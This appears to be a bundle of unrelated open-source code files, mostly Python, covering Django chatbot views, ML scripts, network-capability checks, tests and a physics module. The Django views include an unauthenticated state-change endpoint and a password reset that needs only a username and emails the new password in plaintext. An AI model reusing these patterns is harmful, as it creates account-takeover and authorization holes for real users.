context = {\n 'curr_provider': curr_provider,\n }\n html = render_to_string('bot/create_time_slot.html', context, request=request)\n data = {\n 'html': html,\n 'status': True,\n }\n else:\n data = {\n 'status': False,\n 'message': 'Something went wrong. Please refresh and try again.'\n }\n else:\n data = {\n 'status': False,\n 'message': 'Something went wrong. Please refresh and try again.'\n }\n else:\n data = {\n 'status': False,\n 'message': 'All fields are required.'\n }\n else:\n data = {\n 'status': False,\n 'message': 'Something went wrong. Please refresh and try again.'\n }\n\n return JsonResponse(data)\n\n\ndef change_provider_state(request):\n pk = request.GET.get('pk', None)\n name = request.GET.get('name', None)\n\n provider = ServiceProvider.objects.filter(Q(pk=pk) & Q(name=name))\n if not provider:\n data = {\n 'status': False,\n 'message': 'Incorrect provider detail'\n }\n return JsonResponse(data)\n if provider[0].is_active:\n provider.update(is_active=False)\n else:\n provider.update(is_active=True)\n\n if request.is_ajax:\n context = {\n 'curr_provider': provider[0]\n }\n\n html = render_to_string('bot/create_time_slot.html', context, request=request)\n data = {\n 'html': html,\n 'status': True,\n }\n else:\n data = {\n 'status': False,\n 'message': 'Incorrect request type.'\n }\n\n return JsonResponse(data)\n\n\n@login_required(login_url='user_login')\ndef change_password(request):\n form = ChangePasswordForm(request.POST)\n if form.is_valid():\n user = request.user\n password = form.cleaned_data['password']\n user.set_password(password)\n user.password_changed = True\n user.save()\n data = {\n 'status': True,\n }\n\n else:\n message = ''\n for field, errors in form.errors.items():\n message = errors\n data = {\n 'status': False,\n 'message': message,\n }\n\n return JsonResponse(data)\n\n\n@login_required(login_url='user_login')\ndef company_list(request):\n if request.user.is_staff == False or request.user.is_superuser == False:\n return render(request, 'bot/check_user.html')\n companies = ParentCompany.objects.all().order_by('-pk').prefetch_related('company_name')\n context = {\n 'companies': companies,\n 'company_list': 'active',\n }\n\n return render(request, 'bot/company_list.html', context)\n\n\ndef forget_password(request):\n form = ForgetPasswordForm(request.POST)\n if form.is_valid():\n username = form.cleaned_data['username']\n user = User.objects.get(username=username)\n password = User.objects.make_random_password()\n user.set_password(password)\n user.password_changed = True\n user.save()\n subject = 'Password Reset'\n mail_message = 'Password reset for username ' + username + ' is done. Please use ' + password + ' as password from now.'\n send_mail(\n subject,\n mail_message,\n 'skeshari@tecziq.com',\n [user.email],\n fail_silently=False,\n )\n data = {\n 'status': True,\n }\n\n else:\n message = ''\n for field, errors in form.errors.items():\n message = errors\n data = {\n 'status': False,\n 'message': message,\n }\n\n return JsonResponse(data)\n\n\n@login_required(login_url='user_login')\ndef change_chat_map_status(request, id):\n question = ChatTitle.objects.get(pk=id)\n company = question.company\n if request.user.role != 'admin' and request.user.company.pk != company.parent_company.pk:\n return render(request, 'bot/check_user.html')\n\n question.active = False if question.active else True\n question.save()\n\n return HttpResponseRedirect(reverse('chat_maps', args=(company.pk, company.slug)))\n\n\ndef choose_service_provider(request):\n user_lang = request.GET.get('lang')\n pk = request.GET.get('pk')\n date = request.GET.get('date')\n data = service_provider_view(pk, user_lang, date)\n if data['status']:\n html = render_to_string('bot/provider-slot-list.html', context=data, request=request)\n response = {'status': True, 'html': html}\n else:\n response = data\n return JsonResponse(response)\n\n\ndef get_slot_list(request):\n pk = request.GET.get('pk')\n date = request.GET.get('date')\n user_lang = request.GET.get('lang')\n data = get_slots(pk, date, user_lang)\n return JsonResponse(data)\n\n\ndef book_selected_slot(request):\n # try:\n slot_pk = request.GET.get('selected_slot')\n date = request.GET.get('selected_date')\n slot_time = request.GET.get('slot_time')\n provider_pk = request.GET.get('selected_provider')\n u_id = request.GET.get('u_id')\n\n data = book_selected_slot_view(slot_pk, date, slot_time, provider_pk, u_id)\n\n # except:\n # data = {\n # 'status': False\n # }\n\n return JsonResponse(data)\n\n\n@login_required(login_url='user_login')\ndef facebook_detail(request):\n if request.user.role != 'admin':\n return render(request, 'bot/check_user.html')\n parent_company = request.user.company\n companies = Company.objects.filter(parent_company=parent_company)\n for company in companies:\n if not FacebookBotDetails.objects.filter(company=company):\n while True:\n token = random.randint(10000000, 99999999)\n token_exists = FacebookBotDetails.objects.filter(verify_key=token).exists()\n if token_exists:\n continue\n else:\n break\n\n if not FacebookBotDetails.objects.filter(company=company).exists():\n token_instance = FacebookBotDetails.objects.create(company=company, verify_key=token)\n\n form = FacebookBotDetailForm()\n if request.method == 'POST':\n form = FacebookBotDetailForm(request.POST)\n if form.is_valid():\n company_pk = request.POST['company-pk-input']\n verify_token = request.POST['verify-token-input']\n company = get_object_or_404(Company, pk=company_pk)\n fb_obj = FacebookBotDetails.objects.get(Q(company=company) & Q(verify_key=verify_token))\n fb_obj.access_key = form.cleaned_data['access_key']\n fb_obj.page_id = form.cleaned_data['page_id']\n fb_obj.save()\n return HttpResponseRedirect(reverse('facebook_detail'))\n\n context = {\n 'form': form,\n 'facebook_detail': 'active',\n 'companies': companies,\n }\n\n return render(request, 'bot/facebook_detail.html', context)\n\n","repo_name":"SandeepTecziq/Chat-Bot","sub_path":"bot/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":41285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4622144762","text":"import tensorflow as tf\nfrom keras_preprocessing.sequence import pad_sequences\nfrom keras_preprocessing.text import Tokenizer\nfrom sklearn.datasets import load_breast_cancer\nfrom tensorflow.python.client import device_lib\nfrom tensorflow.keras.datasets import mnist\nfrom tensorflow.keras.utils import to_categorical\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nimport numpy as np\n\nphysical_devices = tf.config.list_physical_devices('GPU')\ntf.config.experimental.set_memory_growth(physical_devices[0], enable=True)\n\n\nMAX_VOCAB_SIZE = 20000\n\n\ndef preprocess_text(text, padding='post'):\n # tokeniz e\n tokenizer = Tokenizer(num_words=MAX_VOCAB_SIZE)\n tokenizer.fit_on_texts(text)\n sequences = tokenizer.texts_to_sequences(text)\n\n # padding\n sequences = pad_sequences(sequences, padding=padding)\n\n return sequences, len(tokenizer.word_index)\n\n\ndata = pd.read_csv(\"spam.csv\")\n\ntarget = data['v1'].map({'ham': 0, 'spam': 1}).values\ninput = data['v2'].values\ninput, V = preprocess_text(input)\n\nX_train, X_test, Y_train, Y_test = train_test_split(input, target, test_size=0.33, random_state=42)\n\nT = X_train.shape[1]\n# embedding dimentionality\nD = 20\n\nmodel = tf.keras.models.Sequential()\nmodel.add(tf.keras.layers.Embedding(V + 1, D, input_shape=(T,)))\nmodel.add(tf.keras.layers.LSTM(15, return_sequences=True))\nmodel.add(tf.keras.layers.GlobalMaxPooling1D())\nmodel.add(tf.keras.layers.Dense(1, activation='sigmoid'))\n\nmodel.compile(\n optimizer=tf.keras.optimizers.Adam(0.001),\n loss='binary_crossentropy',\n metrics=['accuracy'])\n\nh = model.fit(X_train,\n Y_train,\n validation_data=(X_test, Y_test),\n epochs=10)\n","repo_name":"nocommentcode/MachineLearning","sub_path":"RNN/NLP.py","file_name":"NLP.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74567269582","text":"\"\"\"\n.. codeauthor:: Tsuyoshi Hombashi \n\"\"\"\n\n\nimport errno\nimport os\nimport re\nimport sys\n\nimport subprocrunner as spr\n\nfrom ._common import find_bin_path\nfrom ._logger import logger\n\n\ndef get_required_capabilities(command):\n required_capabilities_map = {\n \"tc\": [\"cap_net_admin\"],\n \"ip\": [\"cap_net_raw\", \"cap_net_admin\"],\n \"iptables\": [\"cap_net_raw\", \"cap_net_admin\"],\n }\n\n return required_capabilities_map[command]\n\n\ndef get_permission_error_message(command):\n PERMISSION_ERROR_MSG_FORMAT = \"\\n\".join(\n [\n \"Permission denied: you must be root or set Linux capabilities to execute the command.\",\n \" How to setup Linux capabilities for the {command:s} command:\",\n \" $ sudo setcap {capabilities:s}+ep {bin_path:s}\",\n ]\n )\n\n return PERMISSION_ERROR_MSG_FORMAT.format(\n command=command,\n capabilities=\",\".join(get_required_capabilities(command)),\n bin_path=find_bin_path(command),\n )\n\n\ndef _has_capabilies(bin_path, capabilities):\n getcap_bin_path = find_bin_path(\"getcap\")\n\n if not getcap_bin_path:\n logger.error(\"command not found: getcap\")\n return False\n\n bin_path = os.path.realpath(bin_path)\n proc = spr.SubprocessRunner(\"{:s} {:s}\".format(getcap_bin_path, bin_path))\n if proc.run() != 0:\n logger.error(proc.stderr)\n sys.exit(proc.returncode)\n\n getcap_output = proc.stdout\n has_capabilies = True\n for capability in capabilities:\n if re.search(capability, getcap_output):\n logger.debug(\"{:s} has {:s} capability\".format(bin_path, capability))\n else:\n logger.debug(\"{:s} has no {:s} capability\".format(bin_path, capability))\n has_capabilies = False\n\n capability = \"+ep\"\n if re.search(re.escape(capability), getcap_output):\n logger.debug(\"{:s} has {:s} capability\".format(bin_path, capability))\n else:\n logger.debug(\"{:s} has no {:s} capability\".format(bin_path, capability))\n has_capabilies = False\n\n return has_capabilies\n\n\ndef has_execution_authority(command):\n from ._common import check_command_installation\n\n check_command_installation(command)\n\n if os.getuid() == 0:\n return True\n\n return _has_capabilies(find_bin_path(command), get_required_capabilities(command))\n\n\ndef check_execution_authority(command):\n if has_execution_authority(command):\n return\n\n logger.error(get_permission_error_message(command))\n sys.exit(errno.EPERM)\n","repo_name":"thombashi/tcconfig","sub_path":"tcconfig/_capabilities.py","file_name":"_capabilities.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","stars":738,"dataset":"github-code","pt":"47"} +{"seq_id":"37085172444","text":"from django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.contrib.sitemaps.views import sitemap\nfrom django.urls import include, path\n\nfrom .sitemaps import StaticViewSitemap\n\nsitemaps = {\"static\": StaticViewSitemap}\n\nurlpatterns = [\n path(\"admin/\", admin.site.urls),\n path(\"\", include(\"home.urls\")),\n path(\"\", include(\"about.urls\")),\n path(\"\", include(\"blog.urls\")),\n path(\"\", include(\"contact.urls\")),\n path(\n \"sitemap.xml/\",\n sitemap,\n {\"sitemaps\": sitemaps},\n name=\"django.contrib.sitemaps.views.sitemap\",\n ),\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"paulr909/django-boilerplate","sub_path":"project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43084001565","text":"# 2022 01 19.\n\n# https://www.acmicpc.net/problem/1748\n\n'''\n- N의 자리수마다 개수를 구해 개수 * 길이를 더해간다.\nif N is 120:\n '120' 길이 : 3\n 1 자리수 9개 = 9\n 2 자리수 90개 = 180\n 3 자리수 21개 = 63\n ans = 252\n- 40ms\n'''\nimport sys\ninput = sys.stdin.readline\n\n\nif __name__ == \"__main__\": \n n = int(input())\n s = str(n)\n ans = 0\n\n for i in range(len(s)):\n j = i + 1\n if len(s) > j:\n cnt = (10**j) - (10**i) \n else:\n cnt = n - (10**i) + 1\n\n add = cnt * j\n # print(f'{j} 자리수 {cnt}개 = {add}')\n ans += add\n\n print(ans)","repo_name":"cjk09083/Code","sub_path":"Python/Brute/1748.py","file_name":"1748.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27229719919","text":"from pathlib import Path\n\nfrom staging_service.app_error_formatter import format_import_spec_errors\nfrom staging_service.import_specifications.file_parser import ErrorType, Error, SpecificationSource\n\n\ndef _ss(file: str, tab: str = None) -> SpecificationSource:\n return SpecificationSource(Path(file), tab)\n\n\ndef test_format_import_spec_errors_no_input():\n assert format_import_spec_errors([], {}) == []\n\n\ndef test_format_import_spec_errors_one_error():\n errors = [Error(ErrorType.OTHER, \"foobar\")]\n assert format_import_spec_errors(errors, {}) == [\n {\"type\": \"unexpected_error\",\n \"message\": \"foobar\",\n \"file\": None,\n }\n ]\n\n\ndef test_format_import_spec_errors_all_the_errors_no_tabs():\n errors = [\n Error(ErrorType.OTHER, \"foobar1\", _ss(\"file1\")),\n Error(ErrorType.PARSE_FAIL, \"foobar2\", _ss(\"file2\")),\n Error(ErrorType.INCORRECT_COLUMN_COUNT, \"foobar3\", _ss(\"file3\")),\n Error(\n ErrorType.MULTIPLE_SPECIFICATIONS_FOR_DATA_TYPE,\n \"foobar4\",\n _ss(\"file4\"),\n _ss(\"file5\")\n ),\n Error(ErrorType.NO_FILES_PROVIDED),\n Error(ErrorType.FILE_NOT_FOUND, source_1=_ss(\"file6\")),\n ]\n paths = {\n Path(\"file1\"): Path(\"f1\"),\n Path(\"file2\"): Path(\"f2\"),\n Path(\"file3\"): Path(\"f3\"),\n Path(\"file4\"): Path(\"f4\"),\n Path(\"file5\"): Path(\"f5\"),\n Path(\"file6\"): Path(\"f6\"),\n }\n assert format_import_spec_errors(errors, paths) == [\n {\"type\": \"unexpected_error\",\n \"message\": \"foobar1\",\n \"file\": \"f1\",\n },\n {\"type\": \"cannot_parse_file\",\n \"message\": \"foobar2\",\n \"file\": \"f2\",\n \"tab\": None\n },\n {\"type\": \"incorrect_column_count\",\n \"message\": \"foobar3\",\n \"file\": \"f3\",\n \"tab\": None,\n },\n {\"type\": \"multiple_specifications_for_data_type\",\n \"message\": \"foobar4\",\n \"file_1\": \"f4\",\n \"tab_1\": None,\n \"file_2\": \"f5\",\n \"tab_2\": None,\n },\n {\"type\": \"no_files_provided\"},\n {\"type\": \"cannot_find_file\",\n \"file\": \"f6\",\n },\n ]\n\n\ndef test_format_import_spec_errors_all_the_errors_with_tabs():\n errors = [\n Error(ErrorType.PARSE_FAIL, \"foobar1\", _ss(\"file1\", \"tab1\")),\n Error(ErrorType.INCORRECT_COLUMN_COUNT, \"foobar2\", _ss(\"file2\", \"tab2\")),\n Error(\n ErrorType.MULTIPLE_SPECIFICATIONS_FOR_DATA_TYPE,\n \"foobar3\",\n _ss(\"file3\", \"tab3\"),\n _ss(\"file4\", \"tab4\")\n ),\n ]\n paths = {\n Path(\"file1\"): Path(\"f1\"),\n Path(\"file2\"): Path(\"f2\"),\n Path(\"file3\"): Path(\"f3\"),\n Path(\"file4\"): Path(\"f4\"),\n }\n assert format_import_spec_errors(errors, paths) == [\n {\"type\": \"cannot_parse_file\",\n \"message\": \"foobar1\",\n \"file\": \"f1\",\n \"tab\": \"tab1\"\n },\n {\"type\": \"incorrect_column_count\",\n \"message\": \"foobar2\",\n \"file\": \"f2\",\n \"tab\": \"tab2\",\n },\n {\"type\": \"multiple_specifications_for_data_type\",\n \"message\": \"foobar3\",\n \"file_1\": \"f3\",\n \"tab_1\": \"tab3\",\n \"file_2\": \"f4\",\n \"tab_2\": \"tab4\",\n },\n ]","repo_name":"kbase/staging_service","sub_path":"tests/test_app_error_formatter.py","file_name":"test_app_error_formatter.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37329443132","text":"import argparse\nimport logging\nimport os\nimport random\n\nimport numpy as np\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.distributed as dist\nimport torch.nn as nn\nimport torch.utils.data\nimport torch.utils.data.distributed\nimport sys\n\nsys.path.append(\"../\")\n\nfrom autotimm.data.dataloaders import get_pytorch_val_loader, get_syntetic_loader\nfrom autotimm.data.mixup import NLLMultiLabelSmooth\nfrom autotimm.data.smoothing import LabelSmoothing\nfrom autotimm.models.model_zoo import get_model_list\nfrom autotimm.models.network import get_input_size, init_network\nfrom autotimm.training import validate\nfrom autotimm.utils.model import test_load_checkpoint\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description='Model-based Asynchronous HPO')\n parser.add_argument(\n '--data_name', default='', type=str, help='dataset name')\n parser.add_argument(\n '--data_path', default='', type=str, help='path to dataset')\n parser.add_argument('--data-backend', metavar='BACKEND', default='pytorch')\n parser.add_argument(\n '--interpolation',\n metavar='INTERPOLATION',\n default='bilinear',\n help='interpolation type for resizing images: bilinear, bicubic')\n model_names = get_model_list()\n parser.add_argument(\n '--model',\n metavar='MODEL',\n default='resnet18',\n choices=model_names,\n help='model architecture: ' + ' | '.join(model_names) +\n ' (default: resnet18)')\n parser.add_argument(\n '-j',\n '--workers',\n type=int,\n default=4,\n metavar='N',\n help='how many training processes to use (default: 1)')\n parser.add_argument(\n '--image-size', default=None, type=int, help='resolution of image')\n parser.add_argument(\n '-b',\n '--batch-size',\n default=256,\n type=int,\n metavar='N',\n help='mini-batch size (default: 256), this is the total '\n 'batch size of all GPUs on the current node when '\n 'using Data Parallel or Distributed Data Parallel')\n parser.add_argument(\n '--resume',\n default=None,\n type=str,\n metavar='PATH',\n help='path to latest checkpoint (default: none)')\n parser.add_argument(\n '--evaluate',\n dest='evaluate',\n action='store_true',\n help='evaluate model on validation set')\n parser.add_argument(\n '--seed',\n type=int,\n default=42,\n metavar='S',\n help='random seed (default: 42)')\n parser.add_argument(\n '--amp',\n action='store_true',\n default=False,\n help='use NVIDIA Apex AMP or Native AMP for mixed precision training')\n parser.add_argument(\n '--apex-amp',\n action='store_true',\n default=False,\n help='Use NVIDIA Apex AMP mixed precision')\n parser.add_argument(\n '--native-amp',\n action='store_true',\n default=False,\n help='Use Native Torch AMP mixed precision')\n parser.add_argument(\n '--static-loss-scale', type=float, default=1, help='Static loss scale')\n parser.add_argument(\n '--mixup',\n default=0.0,\n type=float,\n metavar='ALPHA',\n help='mixup alpha')\n parser.add_argument(\n '--label-smoothing',\n default=0.0,\n type=float,\n metavar='S',\n help='label smoothing')\n\n parser.add_argument('--local_rank', default=0, type=int)\n parser.add_argument(\n '--world-size',\n default=-1,\n type=int,\n help='number of nodes for distributed training')\n parser.add_argument(\n '--rank',\n default=-1,\n type=int,\n help='node rank for distributed training')\n parser.add_argument(\n '--memory-format',\n type=str,\n default='nchw',\n choices=['nchw', 'nhwc'],\n help='memory layout, nchw or nhwc',\n )\n parser.add_argument(\n '--output-dir',\n default='/home/yiran.wu/work_dirs/pytorch_model_benchmark',\n type=str,\n help='output directory for model and log')\n args = parser.parse_args()\n return args\n\n\ndef prepare_for_test(args):\n args.distributed = False\n if 'WORLD_SIZE' in os.environ:\n args.distributed = int(os.environ['WORLD_SIZE']) > 1\n args.local_rank = int(os.environ['LOCAL_RANK'])\n else:\n args.local_rank = 0\n\n args.gpu = 0\n args.world_size = 1\n\n if args.distributed:\n args.gpu = args.local_rank % torch.cuda.device_count()\n torch.cuda.set_device(args.gpu)\n if not torch.distributed.is_initialized():\n dist.init_process_group(backend='nccl', init_method='env://')\n args.world_size = torch.distributed.get_world_size()\n\n if args.seed is not None:\n print('Using seed = {}'.format(args.seed))\n torch.manual_seed(args.seed + args.local_rank)\n torch.cuda.manual_seed(args.seed + args.local_rank)\n np.random.seed(seed=args.seed + args.local_rank)\n random.seed(args.seed + args.local_rank)\n\n def _worker_init_fn(id):\n np.random.seed(seed=args.seed + args.local_rank + id)\n random.seed(args.seed + args.local_rank + id)\n\n else:\n\n def _worker_init_fn(id):\n pass\n\n if args.static_loss_scale != 1.0:\n if not args.amp:\n print(\n 'Warning: if --amp is not used, static_loss_scale will be ignored.'\n )\n\n # set the image_size\n image_size = (\n args.image_size\n if args.image_size is not None else get_input_size(args.model))\n memory_format = (\n torch.channels_last\n if args.memory_format == 'nhwc' else torch.contiguous_format)\n\n # Creat train losses\n loss = nn.CrossEntropyLoss\n if args.mixup > 0.0:\n loss = NLLMultiLabelSmooth(args.label_smoothing)\n elif args.label_smoothing > 0.0:\n loss = LabelSmoothing(args.label_smoothing)\n\n # Create data loaders\n if args.data_backend == 'pytorch':\n get_val_loader = get_pytorch_val_loader\n elif args.data_backend == 'syntetic':\n get_val_loader = get_syntetic_loader\n else:\n print('Bad databackend picked')\n exit(1)\n\n test_loader, num_class = get_val_loader(\n args.data_path,\n 'test',\n image_size,\n args.batch_size,\n False,\n interpolation=args.interpolation,\n workers=args.workers,\n # memory_format=memory_format,\n )\n\n # model\n model = init_network(args.model, num_class, pretrained=False)\n\n if args.distributed:\n # DistributedDataParallel will divide and allocate batch_size to all\n # available GPUs if device_ids are not set\n torch.cuda.set_device(args.gpu)\n model.cuda(args.gpu).to(memory_format=memory_format)\n model = torch.nn.parallel.DistributedDataParallel(\n model, device_ids=[args.gpu], output_device=args.gpu)\n else:\n model.cuda().to(memory_format=memory_format)\n\n # optionally resume from a checkpoint\n if args.resume is not None:\n model_state, model_state_ema, optimizer_state = test_load_checkpoint(\n args)\n else:\n model_state = None\n model_state_ema = None\n\n # EMA\n model_ema = None\n ema = None\n\n # load mode state\n if model_state is not None:\n print('load model checkpoint')\n model.load_state_dict(model_state, strict=False)\n\n if (ema is not None) and (model_state_ema is not None):\n print('load ema')\n ema.load_state_dict(model_state_ema)\n\n # define loss function (criterion) and optimizer\n criterion = loss().cuda(args.gpu)\n\n return (model, criterion, test_loader, ema, model_ema, num_class)\n\n\ndef test(args, logger):\n model, criterion, test_loader, ema, model_ema, num_class = prepare_for_test(\n args)\n use_ema = (model_ema is not None) and (ema is not None)\n prec1 = validate(\n test_loader,\n model,\n criterion,\n num_class,\n logger,\n 'Test-log',\n use_amp=args.amp)\n if use_ema:\n model_ema.load_state_dict(\n {k.replace('module.', ''): v\n for k, v in ema.state_dict().items()})\n prec1 = validate(test_loader, model, criterion, num_class, logger,\n 'Test-log')\n return prec1\n\n\nif __name__ == '__main__':\n args = parse_args()\n logger = logging.getLogger('')\n filehandler = logging.FileHandler(\n os.path.join(args.output_dir, 'summary.log'))\n streamhandler = logging.StreamHandler()\n logger.setLevel(logging.INFO)\n logger.addHandler(filehandler)\n logger.addHandler(streamhandler)\n cudnn.benchmark = True\n prec1 = test(args, logger)\n logger.info('**' * 100)\n logger.info('Test Acc of Top1 is %s' % prec1)\n","repo_name":"jianzhnie/AutoTimm","sub_path":"tools/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":8827,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"} +{"seq_id":"18689397479","text":"from fastapi import APIRouter, Depends\nfrom app.services.application.auth.auth_service import AuthService\nfrom app.models.mentor import Mentor\nfrom app.repositories.mentor_repository import MentorRepository\nfrom app.types.mentor import MentorInfo\nfrom app.db import setting\n\nrouter = APIRouter(\n prefix=\"/admin/mentor\",\n tags=[\"mentor\"],\n responses={404: {\"description\": \"Not found!\"}}, \n)\n\nmentor_repository = MentorRepository(setting.get_session())\n\n@router.post('/regist')\ndef regist(param: MentorInfo, admin_id: int = Depends(AuthService.get_admin_id_from_header)):\n mentor = Mentor(\n admin_id=admin_id,\n role=2,\n mentor_cd=param.mentor_cd)\n mentor.set_name(param.mentor_name)\n mentor.regist_password(param.password)\n\n mentor_repository.regist(mentor) \n return\n\n@router.post('/save')\ndef regist(param: MentorInfo, admin_id: int = Depends(AuthService.get_admin_id_from_header)):\n mentor = Mentor(\n admin_id=admin_id,\n role=param.role,\n mentor_cd=param.mentor_cd)\n mentor.set_name(param.mentor_name)\n mentor.set_mail(param.mail)\n\n mentor_repository.save(mentor) \n return\n\n@router.get('/find')\ndef get_mentor(mentor_cd:str, admin_id: int = Depends(AuthService.get_admin_id_from_header)):\n mentor = mentor_repository.find_by_cd(admin_id, mentor_cd)\n return mentor\n\n@router.get('/list')\ndef get_mentor_list(admin_id: int = Depends(AuthService.get_admin_id_from_header)):\n mentors = mentor_repository.find_all(admin_id)\n headers = mentors.export_headers()\n return headers","repo_name":"asato99/programing-education-fastapi","sub_path":"app/routers/admin/mentor.py","file_name":"mentor.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37504094129","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"qqlog\",\n version=\"0.0.5\",\n author=\"Sheauren Wang\",\n author_email=\"sheauren@gmail.com\",\n description=\"quick method log/exception catching\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/sheauren/qqlog\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.5',\n)","repo_name":"sheauren/qqlog","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10639158366","text":"\"\"\"Electron related functions and classes\n=========================================\n\n.. module:: sisl.physics.electron\n :noindex:\n\nIn sisl electronic structure calculations are relying on routines\nspecific for electrons. For instance density of states calculations from\nelectronic eigenvalues and other quantities.\n\nThis module implements the necessary tools required for calculating\nDOS, PDOS, spin moments of non-collinear calculations and plotting\nreal-space wavefunctions.\n\n.. autosummary::\n :toctree:\n\n DOS\n PDOS\n spin_moment\n wavefunction\n CoefficientElectron\n StateElectron\n StateCElectron\n EigenvalueElectron\n EigenvectorElectron\n EigenstateElectron\n\n\"\"\"\nfrom __future__ import print_function, division\n\nimport numpy as np\nfrom numpy import floor, ceil\nfrom numpy import conj, dot, ogrid\nfrom numpy import cos, sin, pi, int32\nfrom numpy import add\n\nfrom sisl.supercell import SuperCell\nfrom sisl.geometry import Geometry\nfrom sisl._indices import indices_le\nfrom sisl._math_small import xyz_to_spherical_cos_phi\nimport sisl._array as _a\nfrom sisl.messages import info, warn, tqdm_eta\nfrom sisl._help import dtype_complex_to_real, _range as range\nfrom .distribution import get_distribution\nfrom .spin import Spin\nfrom .sparse import SparseOrbitalBZSpin\nfrom .state import Coefficient, State, StateC\n\n\n__all__ = ['DOS', 'PDOS', 'spin_moment', 'wavefunction']\n__all__ += ['CoefficientElectron', 'StateElectron', 'StateCElectron']\n__all__ += ['EigenvalueElectron', 'EigenvectorElectron', 'EigenstateElectron']\n\n\ndef DOS(E, eig, distribution='gaussian'):\n r\"\"\" Calculate the density of states (DOS) for a set of energies, `E`, with a distribution function\n\n The :math:`\\mathrm{DOS}(E)` is calculated as:\n\n .. math::\n \\mathrm{DOS}(E) = \\sum_i D(E-\\epsilon_i) \\approx\\delta(E-\\epsilon_i)\n\n where :math:`D(\\Delta E)` is the distribution function used. Note that the distribution function\n used may be a user-defined function. Alternatively a distribution function may\n be retrieved from `sisl.physics.distribution`.\n\n Parameters\n ----------\n E : array_like\n energies to calculate the DOS at\n eig : array_like\n eigenvalues\n distribution : func or str, optional\n a function that accepts :math:`E-\\epsilon` as argument and calculates the\n distribution function.\n\n See Also\n --------\n sisl.physics.distribution : a selected set of implemented distribution functions\n PDOS : projected DOS (same as this, but projected onto each orbital)\n spin_moment: spin moment for states\n\n Returns\n -------\n numpy.ndarray : DOS calculated at energies, has same length as `E`\n \"\"\"\n if isinstance(distribution, str):\n distribution = get_distribution(distribution)\n\n DOS = distribution(E - eig[0])\n for i in range(1, len(eig)):\n DOS += distribution(E - eig[i])\n return DOS\n\n\ndef PDOS(E, eig, eig_v, S=None, distribution='gaussian', spin=None):\n r\"\"\" Calculate the projected density of states (PDOS) for a set of energies, `E`, with a distribution function\n\n The :math:`\\mathrm{PDOS}(E)` is calculated as:\n\n .. math::\n \\mathrm{PDOS}_\\nu(E) = \\sum_i \\psi^*_{i,\\nu} [\\mathbf S | \\psi_{i}\\rangle]_\\nu D(E-\\epsilon_i)\n\n where :math:`D(\\Delta E)` is the distribution function used. Note that the distribution function\n used may be a user-defined function. Alternatively a distribution function may\n be aquired from `sisl.physics.distribution`.\n\n In case of an orthogonal basis set :math:`\\mathbf S` is equal to the identity matrix.\n Note that `DOS` is the sum of the orbital projected DOS:\n\n .. math::\n \\mathrm{DOS}(E) = \\sum_\\nu\\mathrm{PDOS}_\\nu(E)\n\n For non-collinear calculations (this includes spin-orbit calculations) the PDOS is additionally\n separated into 4 components (in this order):\n\n - Total projected DOS\n - Projected spin magnetic moment along :math:`x` direction\n - Projected spin magnetic moment along :math:`y` direction\n - Projected spin magnetic moment along :math:`z` direction\n\n These are calculated using the Pauli matrices :math:`\\boldsymbol\\sigma_x`, :math:`\\boldsymbol\\sigma_y` and :math:`\\boldsymbol\\sigma_z`:\n\n .. math::\n\n \\mathrm{PDOS}_\\nu^\\Sigma(E) &= \\sum_i \\psi^*_{i,\\nu} \\boldsymbol\\sigma_z \\boldsymbol\\sigma_z [\\mathbf S | \\psi_{i}\\rangle]_\\nu D(E-\\epsilon_i)\n \\\\\n \\mathrm{PDOS}_\\nu^x(E) &= \\sum_i \\psi^*_{i,\\nu} \\boldsymbol\\sigma_x [\\mathbf S | \\psi_{i}\\rangle]_\\nu D(E-\\epsilon_i)\n \\\\\n \\mathrm{PDOS}_\\nu^y(E) &= \\sum_i \\psi^*_{i,\\nu} \\boldsymbol\\sigma_y [\\mathbf S | \\psi_{i}\\rangle]_\\nu D(E-\\epsilon_i)\n \\\\\n \\mathrm{PDOS}_\\nu^z(E) &= \\sum_i \\psi^*_{i,\\nu} \\boldsymbol\\sigma_z [\\mathbf S | \\psi_{i}\\rangle]_\\nu D(E-\\epsilon_i)\n\n Note that the total PDOS may be calculated using :math:`\\boldsymbol\\sigma_i\\boldsymbol\\sigma_i` where :math:`i` may be either of :math:`x`,\n :math:`y` or :math:`z`.\n\n Parameters\n ----------\n E : array_like\n energies to calculate the projected-DOS from\n eig : array_like\n eigenvalues\n eig_v : array_like\n eigenvectors\n S : array_like, optional\n overlap matrix used in the :math:`\\langle\\psi|\\mathbf S|\\psi\\rangle` calculation. If `None` the identity\n matrix is assumed. For non-collinear calculations this matrix may be halve the size of 